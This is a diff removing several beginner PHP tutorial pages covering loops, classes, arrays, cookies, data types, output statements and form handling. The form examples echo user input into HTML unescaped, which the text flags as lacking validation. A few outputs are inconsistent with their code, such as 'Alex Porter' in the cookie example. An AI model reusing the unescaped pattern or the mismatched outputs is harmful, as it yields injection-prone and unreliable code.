## What does the acronym PHP stand for?
Originally PHP stood for 'Personal Home Page', as Rasmus Lerdorf created it for use on his own website. Then in 1997 more developers expanded the language and the
acronym also changed to what it stands for today: 'PHP: Hypertext Preprocessor'. As the first 'P' in PHP also stands for 'PHP', it is known as a 'recursive acronym'.
## What is PHP used for?
As of October 2018, PHP is used on [80% of websites whose server-side language is known](https://w3techs.com/technologies/overview/programming_language/all).
It is typically used on websites to generate web page content dynamically. Use-cases include:
* Websites and web applications (server-side scripting)
* Command line scripting
* Desktop (GUI) applications
Typically, it is used in the first form to generate web page content dynamically. For example, if you have a blog website, you might write some PHP scripts to retrieve
your blog posts from a database and display them. Other uses for PHP scripts include:
* Processing and saving user input from form data
* Setting and working with website cookies
* Restricting access to certain pages of your website
> The largest Social Networking Platform, [Facebook](https://www.facebook.com/) is written using PHP
## How does PHP work?
All PHP code is executed on a web server only, not on your local computer. For example, if you complete a form on a website and submit it, or click a link to a web page written in PHP, no actual PHP code runs on your computer. Instead, the form data or request for the web page gets sent to a web server to be processed by the PHP scripts. The web server then sends the processed HTML back to you (which is where 'Hypertext Preprocessor' in the name comes from), and your web browser displays the results. For this reason, you cannot see the PHP code of a website, only the resulting HTML that the PHP scripts have produced.
This is illustrated below:
![PHP-server-model](https://github.com/xeroxism/myImages/blob/master/FCC_guides/PHP-server-model.png?raw=true)
PHP is an interpreted language. This means that when you make changes to your source code you can immediately test these changes, without first needing to compile your source code into binary form. Skipping the compilation step makes the development process much faster.
PHP code is enclosed between the ```<?php``` and ``` ?> ``` tags and can then be embedded into HTML.
## Installation
PHP can be installed with or without a web server.
### GNU/Linux
On Debian based GNU/Linux distros, you can install by :
```bash
sudo apt install php
```
On Centos 6 or 7 you can install by :
```bash
sudo yum install php
```
After installing you can run any PHP files by simply doing this in terminal :
```
php file.php
```
You can also install a localhost server to run PHP websites. For installing Apache Web Server :
```
sudo apt install apache2 libapache2-mod-php
```
Or you can also install PHP, MySQL & Web-server all by installing
<a href="https://www.apachefriends.org/download.html" target="_blank">XAMPP</a> (free and open-source cross-platform web server solution stack package)
or similar packages like <a href="http://www.wampserver.com/en/" target="_blank">WAMP</a>
## What Can PHP Do?
* PHP can generate dynamic page content
* PHP can create, open, read, write, delete, and close files on the server
* PHP can collect form data
* PHP can send and receive cookies
* PHP can add, delete, modify data in your database
* PHP can be used to control user-access
* PHP can encrypt data
* PHP can send emails
## Why PHP?
* PHP runs on various platforms (Windows, Linux, Unix, Mac OS X, etc.)
* PHP is compatible with almost all servers used today (Apache, IIS, etc.)
* PHP supports a wide range of databases
* PHP is free. Download it from the official PHP resource: [secure.php.net](https://secure.php.net/)
* PHP is easy to learn and runs efficiently on the server side
## PHP Frameworks
Since writing the whole code for a website is not really practical/feasible for most projects, most developers tend to use frameworks for the web development. The advantage of using a framework is that
* You don't have to reinvent the wheel everytime you create a project, a lot of the nuances are already taken care for you
* They are usually well-structured so that it helps in the separation of concerns
* Most frameworks tend the follow the best practices of the language
* A lot of them follow the MVC (Model-View-Controller) pattern so that it separates the presentation layer from logic
## Popular frameworks
* [CodeIgniter](https://codeigniter.com/)
* [Laravel](https://laravel.com/)
* [Symfony](https://symfony.com/)
* [Zend](http://www.zend.com/)
* [CakePHP](https://cakephp.org/)
* [FuelPHP](https://fuelphp.com/)
* [Slim](https://www.slimframework.com/)
* [Yii 2](https://www.yiiframework.com/)
## Documentation
PHP is [well documented](http://php.net/docs.php). The [official docs](http://php.net/manual/en/) include examples on almost every function reference guide, as well as user comments.
## Other Resources
- [Tizag.com PHP Tutorial](http://www.tizag.com/phpT/): still-relevant tutorials for getting started with PHP
- [Awesome PHP](https://github.com/ziadoz/awesome-php): a curated list of PHP libraries, resources, and "shiny things"
- [Laracasts.com](https://laracasts.com/): a membership website to learn web application development with PHP, comes with a free getting starting guide.
- [PHP: The Right Way](https://phptherightway.com/): An all-around quick reference book.

View File

@ -1,174 +0,0 @@
---
title: Loops
---
# PHP Loops
When you need to repeat a task multiple times, you can use a loop instead of adding the same code over and over again.
PHP has the following loop statements :
- for - loop through a block of code with specific number of times.
- while - loop through a block of code if condition is true.
- do...while - loop through a block of code one and continue loop if condition is true.
- foreach - loop through a block of code for each value within an array.
Using a `break` within the loop can stop the loop execution.
# For loop
Loop through a block of code with specific number of times.
## Syntax
```php
for (init counter; condition; counter increment or decrement)
{
// Code to be executed
}
```
## Example
```php
<?php
for($index = 0; $index < 5; $index ++)
{
echo "Current loop counter ".$index.".\n";
}
?>
```
## Output
```
> Current loop counter 0.
> Current loop counter 1.
> Current loop counter 2.
> Current loop counter 3.
> Current loop counter 4.
```
# While loop
Loop through a block of code if condition is true.
## Syntax
```php
while (condition)
{
// Code to be executed
}
```
## Example
```php
<?php
$index = 10;
while ($index >= 0)
{
echo "The index is ".$index.".\n";
$index--;
}
?>
```
## Output
```
> The index is 10.
> The index is 9.
> The index is 8.
> The index is 7.
> The index is 6.
> The index is 5.
> The index is 4.
> The index is 3.
> The index is 2.
> The index is 1.
> The index is 0.
```
# Do...While loop
Loop through a block of code once and continue to loop if the condition is true.
## Syntax
```php
do
{
// Code to be executed
}
while (condition);
```
## Example
```php
<?php
$index = 3;
do
{
// execute this at least 1 time
echo "Index: ".$index.".\n";
$index --;
}
while ($index > 0);
?>
```
## Output
```
> Index: 3.
> Index: 2.
> Index: 1.
```
# Foreach loop
Loop through a block of code for each value within an array.
## Syntax
```php
foreach ($array as $value)
{
// Code to be executed
}
```
## Example
```php
<?php
$array = ["Ali", "Ah Kao", "Muthu", "Gwen", "Lucida", "Cecily", "Arthur", "Flora"];
foreach ($array as $name)
{
echo "Hi, my name is ".$name.".\n";
if ($name == "Cecily")
{
echo "\"Hello, ".$name."!\"";
// stop the loop if name is Cecily
break;
}
}
?>
```
## Output
```
> Hi, my name is Ali.
> Hi, my name is Ah Kao.
> Hi, my name is Muthu.
> Hi, my name is Gwen.
> Hi, my name is Lucida.
> Hi, my name is Cecily.
> "Hello, Cecily!"
```
## For More Information:
http://php.net/manual/en/control-structures.for.php

View File

@ -1,76 +0,0 @@
---
title: For Loop
---
## For Loop
The PHP `for` statement consists of three expressions and a statement:
`for ((initialization); (condition); (final-expression)) statement`
### Description
- initialization
- Run before the first execution on the loop.
- This expression is commonly used to create counters.
- Variables created here are scoped to the loop. Once the loop has finished it is execution they are destroyed.
- condition
- Expression that is checked prior to the execution of every iteration.
- If omitted this expression evaluates to `true`.
- final-expression
- Expression that is run after every iteration.
- Usually used to increment a counter.
- But it can be used to run any expression.
- statement
- Code to be repeated in every loop iteration.
Any of these three expressions or the statement can be ommited.
The expressions can contain multiple expressions separated by comma.
In the (condition) expression, all the comma separated expressions will be evaluated.
The result is obtained from the last one.
For loops are commonly used to count a certain number of iterations to repeat a statement.
### Common Pitfalls
#### Exceeding the bounds of an array
When indexing over an array many times it is easy to exceed the bounds of the array (ex. try to reference the 4th element of a 3 element array).
```php
// This will cause an error.
// The bounds of the array will be exceeded.
$arr = array(1,2,3);
for ($i = 0; $i <= count($arr); $i++) {
var_dump($arr[$i]);
}
```
This will output:
```txt
int(1) int(2) int(3) NULL
```
There are to ways to fix this code.
Set the condition to either `$i < count($arr)` or `$i <= count($arr) - 1`.
#### Performance Issues
The above code can became slow, because the array size is fetched in every iteration.
In order to fix this problem it is possible to put the array size into a variable.
```php
//create the $size variable with a second expression comma separated
for ($i = 0, $size = count($arr); $i < $size; ++$i) {
```
### More Information
- <a href='https://secure.php.net/manual/en/control-structures.for.php' target='_blank' rel='nofollow'>PHP.net - Control Structures</a>

View File

@ -1,29 +0,0 @@
---
title: Loops
---
## Loops
Loops are used in PHP to perform repeated tasks based on a condition.
Conditions typically return `true` or `false` when analysed.
A loop will continue running until the defined condition returns `false`.
You can type `php for` , `php while` or `php do while` to get more info on any of these.
## PHP Loops
Often when you write code, you want the same block of code to run over and over again in a row. Instead of adding several almost equal code-lines in a script, we can use loops to perform a task like this.
In PHP, we have the following looping statements:
while - loops through a block of code as long as the specified condition is true
do...while - loops through a block of code once, and then repeats the loop as long as the specified condition is true
for - loops through a block of code a specified number of times
foreach - loops through a block of code for each element in an array
### More Information
- <a href='https://secure.php.net/manual/control-structures.for.php' target='_blank' rel='nofollow'>PHP.net - For Loops</a>

View File

@ -1,47 +0,0 @@
---
title: While Loop
---
## While Loop
The `while loop` is one of the easiest type of loop in PHP. It executes the block of statements until the expression evaluates to **TRUE**. If the value of the expression changes at the time of execution, then the loop runs until the expression evaluates to **FALSE**.The Basic Form of While Loop is given below:
```shell
while (expr)
statement
```
The Statements inside the while loop can be enclosed within the curly braces or can be used based on the following syntax:
```shell
while (expr):
statement
...
endwhile;
```
Illustrating the simple and alternate syntax of while loop using example:
```php
<?php
/* using the simple form of while loop */
$i = 1; /* initialisation part */
while ($i <= 100 && $i!=5 )
{
echo $i++;
}
/*using the alternate synatx of while loop*/
$i = 0;
while ($i <= 10):
echo $i++;
endwhile;
?>
```
#### More Information
[While loop - PHP Documentation](http://php.net/manual/en/control-structures.while.php)

View File

@ -1,375 +0,0 @@
---
title: Object Oriented Programming
---
## Object Oriented Programming
Object Oriented Programming, as the name suggests, is all about objects. You are basically trying to create a piece of software neatly organized in objects. This approach makes the code scalable with reusable components.
### MAN CLASS
Lets say you want to create a program about men in general.
Average men have all kinds of stuff in common like giving firm handshakes, being stubborn, not putting toilet paper rolls back, falling in love with the latest gadgets, etc. These could be described as behaviors or methods of Man object.
Men also have their own distinct features like age, height, favorite sports, favorite drinks, etc. These could be described as properties or attributes of Man object.
With these in mind, creating a Man class is not so difficult anymore. So, the program would go like this.
```php
<?php
class Man
{
public $name;
public $age;
public $height;
public $fav_sports;
public $fav_drinks;
public function giveFirmHandshakes()
{
return "I give firm handshakes.";
}
public function beStubborn()
{
return "I am stubborn.";
}
public function notPutToiletPaper()
{
return "It's not humanly possible to remember to put toilet paper rolls when they are finished";
}
}
```
### MAN OBJECT
Now that we have this *Man* class, we can create any particular man by creating an instance of class known as class instantiation.
```php
<?php
// Create a Man object called "Jack" (i.e. instantiation)
$jack = new Man();
// Set values to Jack's attributes
$jack->name = "Jack";
$jack->age = 30;
$jack->height = "6 feet";
$jack->fav_sports = ["basketball", "soccer"];
$jack->fav_drinks = ["coffee", "green tea"];
// Print out Jack's attributes and values
echo "Our man's name is: " . $jack->name . "\n";
echo "He is " . $jack->age . " years old and " . $jack->height . " tall.";
echo "His favorite sports are: ";
foreach ($jack->fav_sports as $sport) {
echo $sport . " ";
}
echo "\nHis favorite drinks are: ";
foreach ($jack->fav_drinks as $drink) {
echo $drink . " ";
}
// Print out Jack's behaviors common to all men (hint: defined in Man class)
echo "\nHe said these are some of his behaviors common to other men: ";
echo "\n\t" . $jack->giveFirmHandshakes();
echo "\n\t" . $jack->beStubborn();
echo "\n\t" . $jack->notPutToiletPaper();
```
Here you can see that a man named Jack was created with name of “Jack”, height of “6 feet”, favorite sports “basketball and soccer” and favorite drinks “coffee and green tea”. These attributes are called instance variables.
Then he has the behaviors of all the men like giving firm hand shakes, being stubborn and not putting back toilet paper. All these behaviors are called instance methods.
### CONSTRUCTORS
So far, we created a class called “Man” and an object called “Jack” by instantiating that class. We also gave Jack values for his attributes (name, height, favorite sports and drinks) and call his behaviors common to all men (giving firm handshakes, staying stubborn and not putting toilet papers back).
Lets take this idea one step further and get Jack to start introducing himself whenever we create Jack object without actually having to print them out individually like this:
```php
<?php
// Print out Jack's attributes and values
echo "Our man's name is: " . $jack->name . "\n";
echo "He is " . $jack->age . " years old and " . $jack->height . " tall.";
```
This is where constructors come into play. Constructors are basically special methods that get called when an object is created.
So, the idea is to print out Jacks name, age and height when we create “Jack” object by instantiating Man class. In order to make this happen, we need to however specify the name, age and height when we create the object like this:
```php
<?php
// Create a Man object called "Jack"
$jack = new Man('Jack', 30, '6 feet');
```
This code tells the Man class to create an object with 3 parameters: Jack for name, 30 for age and 6 feet for height.
Now that we have passed these parameters while instantiating the class, we can easily use them to make the constructor method.
```php
<?php
// Create a constructor method with 3 required parameters: name, age and height
public function __construct($name, $age, $height)
{
// Print out to say "object created"
echo "object created\n";
// Assign the values of parameters to properties
// Also known as instance variables
// Using "$this->property_name"
$this->name = $name;
$this->age = $age;
$this->height = $height;
// Print out Jack's attributes and values
echo "Our man's name is: " . $this->name . "\n";
echo "He is " . $this->age . " years old and " . $this->height . " tall.";
}
```
So, now whenever we instantiate Man class, we need to put 3 parameters and they will be printed out right away.
```php
<?php
// Create a Man object called "Jack"
$jack = new Man('Jack', 30, '6 feet');
```
`Object created`
`Our mans name is: Jack`
`He is 30 years old and 6 feet tall.`
The complete code with constructor would be something like this:
```php
<?php
class Man
{
// 1. Declare the properties
public $name;
public $age;
public $height;
public $fav_sports;
public $fav_drinks;
// 2. Create a constructor method with 3 required parameters: name, age and height
public function __construct($name, $age, $height)
{
// 2A. Assign the values of parameters to class properties
// Also known as instance variables
// Using "$this->property_name"
$this->name = $name;
$this->age = $age;
$this->height = $height;
// 2B. Print out Jack's attributes and values
echo "Our man's name is: " . $this->name . "\n";
echo "He is " . $this->age . " years old and " . $this->height . " tall.";
}
// 3. Create methods
public function giveFirmHandshakes()
{
return "I give firm handshakes.";
}
public function beStubborn()
{
return "I am stubborn.";
}
public function notPutToiletPaper()
{
return "It's not humanly possible to remember to put toilet paper rolls when they are finished";
}
}
// 4. Create a Man object called "Jack"
// This will print out the echo statements inside "__construct" method inside the class
$jack = new Man('Jack', 30, '6 feet');
// 5. Set values to Jack's favorite sports and drinks
$jack->fav_sports = ["basketball", "soccer"];
$jack->fav_drinks = ["coffee", "green tea"];
// Print out Jack's favorite sports and drinks
echo "His favorite sports are: ";
foreach ($jack->fav_sports as $sport) {
echo $sport . " ";
}
echo "\nHis favorite drinks are: ";
foreach ($jack->fav_drinks as $drink) {
echo $drink . " ";
}
// Print out Jack's behaviors common to all men
// (hint: defined in Man class)
echo "\nHe said these are some of his behaviors common to other men: ";
echo "\n\t" . $jack->giveFirmHandshakes();
echo "\n\t" . $jack->beStubborn();
echo "\n\t" . $jack->notPutToiletPaper();
```
Now, we dont have to set Jacks name, age and height separately and print them anymore. Whenever we create Jack object, we just specify his properties as the parameters and they will get printed automatically by the help of the constructor. We can also put his favorite sports and drinks in the parameter if we want by
specifying them as parameters while creating the object and
putting the echo lines inside the constructor.
You can visit here for more information on PHP implementation of constructors. Our OOP journey has been slow but steady.
### KEEPING A MANS SECRETS
If you noticed all the class variables (name, age, height, fav_sports and fav_drinks) are declared as public inside Man class. Right now, after creating a Man object, we have access to all of his properties by simply calling them:
```php
<?php
echo $jack->name;
echo $jack->height;
```
But what if we want to keep certain things secret about the man? Maybe he doesnt want everyone to know his age … or … maybe he only wants certain people to know his favorite drinks. We can make this happen by changing the visibility of those properties from public to protected and even private.
Public properties are accessible anywhere, both inside and outside the class.
Protected properties are accessible inside the class and inside the children class(es).
Private properties have the same visibility as protected except they cannot be accessed by the children class(es).
We will talk about inheriting a class in a bit. For now, lets try to set age protected and favorite_drinks private in Man class.
```php
<?php
class Man
{
// 1. Declare the variables
public $name;
protected $age;
public $height;
public $fav_sports;
private $fav_drinks;
.....
.....
```
Now if you try to instantiate the class and call age and fav_drinks, you will get an error.
```php
<?php
$jack = new Man('Jack', 30, '6 feet');
echo $jack->age;
// Fatal error: Cannot access protected property Man::$age
print_r($jack->fav_drinks);
// Fatal error: Cannot access private property Man::$fav_drinks
```
### SETTERS AND GETTERS
Now that we have protected Jacks age and favorite drinks, how do we exactly access them and update them?
To get the protected or private properties, we need to create a getter method like this inside Man class (note that this is a class method with visibility of public).
```php
<?php
public function getAge()
{
return $this->age;
}
```
Now we can easily get Jacks age by calling this method:
```php
<?php
echo $jack->getAge();
Jack just realized he turned 31 last week, how do we update his age? Cant we just do this?
```php
<?php
$jack->age = 31;
```
Since age property is protected, we cannot access it directly outside the class whether to read it or update it. You will get a fatal error.
`Fatal error: Cannot access protected property Man::$age`
In order to update a protected/private property, we need to create a setter method inside the class with public visibility.
```php
<?php
public function setAge($age)
{
$this->age = $age;
}
```
Now we can easily update Jacks age by just calling this setter method:
```php
<?php
$jack->setAge(31);
echo $jack->getAge();
// 31
```
We can also create setter and getter class methods for fav_drinks. Note that we have made the parameter for setFavDrinks optional. So, if you dont pass an array to setFavDrinks, it will default to an empty array.
```php
<?php
public function setFavDrinks($drinks = array())
{
if ($drinks) {
$this->fav_drinks = $drinks;
}
}
public function getFavDrinks()
{
return $this->fav_drinks;
}
```
To set Jacks fav_drinks:
```php
<?php
$jack->setFavDrinks(["coffee", "green tea"]);
```
To get Jacks fav_drinks:
```php
<?php
echo json_encode($jack->getFavDrinks());
// ["coffee","green tea"]
```
This way of implementing and using class methods to retrieve and update class properties is called encapsulation in Object Oriented Programming. We can also set visibility for class methods just like how we did it for class properties.

View File

@ -1,26 +0,0 @@
---
title: Operators
---
## Operators
PHP contains all the normal operators one would expect to find in a programming language.
A single “=” is used as the assignment operator and a double “==” or triple “===” is used for comparison.
The usual “<” and “>” can also be used for comparison and “+=” can be used to add a value and assign it at the same time.
Most notable is the use of the “.” to concatenate strings and “.=” to append one string to the end of another.
New to PHP 7.0.X is the Spaceship operator (<=>).
The spaceship operator returns -1, 0 or 1 when $a is less than, equal to, or greater than $b.
```php
<?php
echo 1 <=> 1; // 0
echo 1 <=> 2; // -1
echo 2 <=> 1; // 1
```

View File

@ -1,168 +0,0 @@
---
title: Php Arrays
---
An array is a data structure that stores one or more similar type of values in a single value. For example, if you want to store 100 numbers then instead of defining 100 variables it's easier to define an array of length 100.
There are three different kind of arrays and each array value is accessed using an ID which is called array index.
Indexed array An array with a numeric index. Values are stored and accessed in a linear fashion.
Associative array An array with strings as the index. This stores element values in association with key values rather than in a strict linear index order.
Multidimensional array An array containing one or more arrays and values are accessed using multiple indices.
NOTE: Built-in array functions are given in the function reference PHP Array Functions section.
### Indexed Arrays
These arrays can store numbers, strings and any object but their index will be represented by numbers. By default array index starts from zero.
#### Example
Following is the example showing how to create and access indexed arrays.
Here we have used the array() function to create an array. This function is explained in function reference.
```
<html>
<body>
<?php
/* First method to create an array. */
$numbers = array(1, 2, 3, 4, 5);
foreach( $numbers as $value ) {
echo "Value is $value <br />";
}
/* Second method to create an array. */
$numbers[0] = "one";
$numbers[1] = "two";
$numbers[2] = "three";
$numbers[3] = "four";
$numbers[4] = "five";
foreach( $numbers as $value ) {
echo "Value is $value <br />";
}
?>
</body>
</html>
```
This will produce the following result
```
Value is 1
Value is 2
Value is 3
Value is 4
Value is 5
Value is one
Value is two
Value is three
Value is four
Value is five
```
### Associative Arrays
The associative arrays are very similar to Indexed arrays in term of functionality but they are different in terms of their index. The elements in an associative array have their indices as strings so that you can establish a strong association between the keys and values.
To store the salaries of employees in an array, a numerically indexed array would not be the best choice. Instead, we can use the employee's names as the keys in our associative array, and the value will be their respective salaries.
NOTE: Don't keep an associative array inside double quotes while printing otherwise it will not return any value.
#### Example
```
<html>
<body>
<?php
/* First method to associate create an array. */
$salaries = array("mohammad" => 2000, "qadir" => 1000, "zara" => 500);
echo "Salary of Mohammad is ". $salaries['mohammad'] . "<br />";
echo "Salary of Qadir is ". $salaries['qadir']. "<br />";
echo "Salary of Zara is ". $salaries['zara']. "<br />";
/* Second method to create an array. */
$salaries['mohammad'] = "high";
$salaries['qadir'] = "medium";
$salaries['zara'] = "low";
echo "Salary of Mohammad is ". $salaries['mohammad'] . "<br />";
echo "Salary of Qadir is ". $salaries['qadir']. "<br />";
echo "Salary of Zara is ". $salaries['zara']. "<br />";
?>
</body>
</html>
```
This will produce the following result
```
Salary of Mohammad is 2000
Salary of Qadir is 1000
Salary of Zara is 500
Salary of Mohammad is high
Salary of Qadir is medium
Salary of Zara is low
```
### Multidimensional Arrays
In a multi-dimensional array, each element in the main array can also be an array. And each element in the sub-array can be an array, and so on. Values in the multi-dimensional array are accessed using multiple indices.
#### Example
In this example, we will create a two-dimensional array to store marks of three students in three subjects
This example is an associative array, you can create an indexed array in a similiar fashion.
```
<html>
<body>
<?php
$marks = array(
"mohammad" => array (
"physics" => 35,
"maths" => 30,
"chemistry" => 39
),
"qadir" => array (
"physics" => 30,
"maths" => 32,
"chemistry" => 29
),
"zara" => array (
"physics" => 31,
"maths" => 22,
"chemistry" => 39
)
);
/* Accessing multi-dimensional array values */
echo "Marks for Mohammad in physics : " ;
echo $marks['mohammad']['physics'] . "<br />";
echo "Marks for Qadir in maths : ";
echo $marks['qadir']['maths'] . "<br />";
echo "Marks for Zara in chemistry : " ;
echo $marks['zara']['chemistry'] . "<br />";
?>
</body>
</html>
```
This will produce the following result
```
Marks for Mohammad in physics : 35
Marks for Qadir in maths : 32
Marks for Zara in chemistry : 39
```

View File

@ -1,116 +0,0 @@
---
title: PHP Cookies
---
# PHP COOKIES
## What is a Cookie?
A cookie is often used to identify a user. It is a small file that the server embeds on the user's computer.
Each time the same computer requests a page with a browser, it will send the cookie too.
Cookies were designed to be a reliable mechanism to remember stateful information or to record the user's browsing activity.
They can also be used to remember arbitrary pieces of information that the user previously entered into form fields such as names, addresses, passwords, etc.
## Creating Cookies with PHP
With PHP, you can both create and retrieve cookie values.
A cookie is created with the setcookie() function.
`setcookie(name, value, expire, path, domain, secure, httponly);`
Only the _name_ parameter is a required parameter. All other parameters are optional.
## PHP Create/Retrieve a Cookie
The following example creates a cookie named "user" with the value "John Doe".
The cookie will expire after 30 days (86400 * 30).
The "/" means that the cookie is available in entire website (else, you can select the directory you prefer).
We then retrieve the value of the cookie "user" (using the global variable $_COOKIE).
We also use the isset() function to find out if the cookie is set:
**Example:**
```
<?php
$cookie_name = "user";
$cookie_value = "John Doe";
setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/"); // 86400 = 1 day
?>
<html>
<body>
<?php
if(!isset($_COOKIE[$cookie_name])) {
echo "Cookie named '" . $cookie_name . "' is not set!";
} else {
echo "Cookie '" . $cookie_name . "' is set!<br>";
echo "Value is: " . $_COOKIE[$cookie_name];
}
?>
</body>
</html>
```
**Note:** The setcookie() function must appear **BEFORE** the <html> tag.
Output:
Cookie 'user' is set!
Value is: John Doe
## PHP Modify a Cookie Value
To modify a cookie, just set the value again using the setcookie() function:
**Example:**
```
<?php
$cookie_name = "user";
$cookie_value = "Jane Porter";
setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/");
?>
<html>
<body>
<?php
if(!isset($_COOKIE[$cookie_name])) {
echo "Cookie named '" . $cookie_name . "' is not set!";
} else {
echo "Cookie '" . $cookie_name . "' is set!<br>";
echo "Value is: " . $_COOKIE[$cookie_name];
}
?>
</body>
</html>
```
Output:
Cookie 'user' is set!
Value is: Alex Porter
## PHP Delete a Cookie
To delete a cookie, use the setcookie() function with an expiration date in the past:
**Example:**
```
<?php
// set the expiration date to one hour ago
setcookie("user", "", time() - 3600);
?>
<html>
<body>
<?php
echo "Cookie 'user' is deleted.";
?>
</body>
</html>
```
Output:
Cookie 'user' is deleted.

View File

@ -1,105 +0,0 @@
---
title: PHP Data Types
---
## PHP Data Types
Variables can store data of different types such as:
* String ("Hello")
* Integer (5)
* Float (also called double) (1.0)
* Boolean ( 1 or 0 )
* Array ( array("I", "am", "an", "array") )
* Object
* NULL
* Resource
### PHP String
A string is a sequence of characters. It can be any text inside quotes (single or double):
#### Example
```php
$x = "Hello!";
$y = 'Hello!';
```
### PHP Integer
An integer data type is a non-decimal number between -2,147,483,648 and 2,147,483,647.
Rules for integers:
* An integer must have at least one digit
* An integer must not have a decimal point
* An integer can be either positive or negative
* Integers can be specified in three formats: decimal (10-based), hexadecimal (16-based - prefixed with 0x) or octal (8-based - prefixed with 0)
#### Example
`$x = 5;`
### PHP Float
A float (floating point number) is a number with a decimal point or a number in exponential form.
#### Example
`$x = 5.01;`
### PHP Boolean
A Boolean represents two possible states: TRUE or FALSE. Booleans are often used in conditional testing.
```php
$x = true;
$y = false;
```
### PHP Array
An array stores multiple values in one single variable.
`$colours = array("Blue","Purple","Pink");`
### PHP NULL Value
Null is a special data type which can have only one value: NULL.
A variable of data type NULL is a variable that has no value assigned to it.
Variables can also be emptied by setting the value to NULL.
**Note:** If a variable is created without a value, it is automatically assigned a value of NULL.
```php
<?php
$x = "Hello world!";
$x = null;
?>
```
Output:
NULL
### PHP Object
An object is a data type which stores data and information on how to process that data.
In PHP, an object must be explicitly declared.
First we must declare a class of object. A class is a structure that can contain properties and methods.
**Example:**
```php
<?php
class Car {
function Car() {
$this->model = "VW";
}
}
// create an object
$herbie = new Car();
// show object properties
echo $herbie->model;
?>
```

View File

@ -1,84 +0,0 @@
---
title: PHP 5 echo and print Statements
---
In PHP there are two basic ways to get output: echo and print.
In this tutorial we use echo (and print) in almost every example. So, this chapter contains a little more info about those two output statements.
### PHP echo and print Statements
echo and print are more or less the same. They are both used to output data to the screen.
The differences are small: echo has no return value while print has a return value of 1 so it can be used in expressions. echo can take multiple parameters (although such usage is rare) while print can take one argument. echo is marginally faster than print.
### The PHP echo Statement
The echo statement can be used with or without parentheses: echo or echo().
#### Display Text
The following example shows how to output text with the echo command (notice that the text can contain HTML markup):
#### Example
```php
<?php
echo "<h2>PHP is Fun!</h2>";
echo "Hello world!<br>";
echo "I'm about to learn PHP!<br>";
echo "This ", "string ", "was ", "made ", "with multiple parameters.";
?>
```
#### Display Variables
The following example shows how to output text and variables with the echo statement:
#### Example
```php
<?php
$txt1 = "Learn PHP";
$txt2 = "W3Schools.com";
$x = 5;
$y = 4;
echo "<h2>" . $txt1 . "</h2>";
echo "Study PHP at " . $txt2 . "<br>";
echo $x + $y;
?>
```
### The PHP print Statement
The print statement can be used with or without parentheses: print or print().
#### Display Text
The following example shows how to output text with the print command (notice that the text can contain HTML markup):
#### Example
```php
<?php
print "<h2>PHP is Fun!</h2>";
print "Hello world!<br>";
print "I'm about to learn PHP!";
?>
```
#### Display Variables
The following example shows how to output text and variables with the print statement:
#### Example
```php
<?php
$txt1 = "Learn PHP";
$txt2 = "W3Schools.com";
$x = 5;
$y = 4;
print "<h2>" . $txt1 . "</h2>";
print "Study PHP at " . $txt2 . "<br>";
print $x + $y;
?>
```

View File

@ -1,13 +0,0 @@
---
title: PHP Expressions
---
## PHP Expressions
This is a stub. <a href='https://github.com/freecodecamp/guides/tree/master/src/pages/php/php-expressions/index.md' target='_blank' rel='nofollow'>Help our community expand it</a>.
<a href='https://github.com/freecodecamp/guides/blob/master/README.md' target='_blank' rel='nofollow'>This quick style guide will help ensure your pull request gets accepted</a>.
<!-- The article goes here, in GitHub-flavored Markdown. Feel free to add YouTube videos, images, and CodePen/JSBin embeds -->
#### More Information:
<!-- Please add any articles you think might be helpful to read before writing the article -->

View File

@ -1,112 +0,0 @@
---
title: PHP 5 Form Handling
---
The PHP superglobals $_GET and $_POST are used to collect form-data.
### PHP - A Simple HTML Form
The example below displays a simple HTML form with two input fields and a submit button:
#### Example
```php
<html>
<body>
<form action="welcome.php" method="post">
Name: <input type="text" name="name"><br>
E-mail: <input type="text" name="email"><br>
<input type="submit">
</form>
</body>
</html>
```
When the user fills out the form above and clicks the submit button, the form data is sent for processing to a PHP file named "welcome.php". The form data is sent with the HTTP POST method.
To display the submitted data you could simply echo all the variables. The "welcome.php" looks like this:
```php
<html>
<body>
Welcome <?php echo $_POST["name"]; ?><br>
Your email address is: <?php echo $_POST["email"]; ?>
</body>
</html>
```
The output could be something like this:
```
Welcome John
Your email address is john.doe@example.com
```
The same result could also be achieved using the HTTP GET method:
#### Example
```php
<html>
<body>
<form action="welcome_get.php" method="get">
Name: <input type="text" name="name"><br>
E-mail: <input type="text" name="email"><br>
<input type="submit">
</form>
</body>
</html>
```
and "welcome_get.php" looks like this:
```php
<html>
<body>
Welcome <?php echo $_GET["name"]; ?><br>
Your email address is: <?php echo $_GET["email"]; ?>
</body>
</html>
```
The code above is quite simple. However, the most important thing is missing. You need to validate form data to protect your script from malicious code.
> **Think SECURITY when processing PHP forms!**
>
> This page does not contain any form validation, it just shows how you can send and retrieve form data.
>
> However, the next pages will show how to process PHP forms with security in mind! Proper validation of form data is important to > protect your form from hackers and spammers!
### GET vs. POST
Both GET and POST create an array (e.g. array( key => value, key2 => value2, key3 => value3, ...)). This array holds key/value pairs, where keys are the names of the form controls and values are the input data from the user.
Both GET and POST are treated as $_GET and $_POST. These are superglobals, which means that they are always accessible, regardless of scope - and you can access them from any function, class or file without having to do anything special.
$_GET is an array of variables passed to the current script via the URL parameters.
$_POST is an array of variables passed to the current script via the HTTP POST method.
### When to use GET?
Information sent from a form with the GET method is visible to everyone (all variable names and values are displayed in the URL). GET also has limits on the amount of information to send. The limitation is about 2000 characters. However, because the variables are displayed in the URL, it is possible to bookmark the page. This can be useful in some cases.
GET may be used for sending non-sensitive data.
**Note:** GET should NEVER be used for sending passwords or other sensitive information!
### When to use POST?
Information sent from a form with the POST method is **invisible to others** (all names/values are embedded within the body of the HTTP request) and has **no limits** on the amount of information to send.
Moreover POST supports advanced functionality such as support for multi-part binary input while uploading files to server.
However, because the variables are not displayed in the URL, it is not possible to bookmark the page.
> **Developers prefer POST for sending form data.**

View File

@ -1,94 +0,0 @@
---
title: PHP 5 Forms - Required Fields
---
This chapter shows how to make input fields required and create error messages if needed.
### PHP - Required Fields
From the validation rules table on the previous page, we see that the "Name", "E-mail", and "Gender" fields are required. These fields cannot be empty and must be filled out in the HTML form.
|Field |Validation Rules|
|---|---|
|Name |Required. + Must only contain letters and whitespace|
|E-mail |Required. + Must contain a valid email address (with @ and .)|
|Website |Optional. If present, it must contain a valid URL|
|Comment |Optional. Multi-line input field (textarea)|
|Gender |Required. Must select one|
In the previous chapter, all input fields were optional.
